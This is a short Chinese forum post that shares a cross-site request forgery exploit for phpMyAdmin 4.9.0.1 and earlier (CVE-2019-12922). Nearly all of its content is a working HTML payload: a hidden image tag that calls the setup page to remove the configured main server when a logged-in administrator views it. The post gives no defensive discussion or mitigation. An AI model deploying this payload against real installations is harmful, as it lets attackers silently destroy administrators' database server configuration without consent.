phpMyAdmin 4.9.0.1 CSRF

TA的每日心情

	怒昨天 11:47

签到天数: 1268 天

[LV.10]以坛为家III

发表于 2019-9-20 23:06:47 | 显示全部楼层 |阅读模式

CVE-ID: CVE-2019-12922

phpMyAdmin <= 4.9.0.1

Exploit CSRF - Deleting main server

[AppleScript] 纯文本查看 复制代码

<p>Deleting Server 1</p>
<img src="
http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1"
style="display:none;" />

快速回复 返回顶部 返回列表